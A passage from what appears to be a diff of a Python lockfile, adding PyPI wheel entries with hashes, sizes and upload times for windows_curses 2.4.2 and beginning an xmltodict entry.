"sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" }, + { url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" }, + { url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" }, +] + [[package]] name = "xmltodict" version = "1.0.4"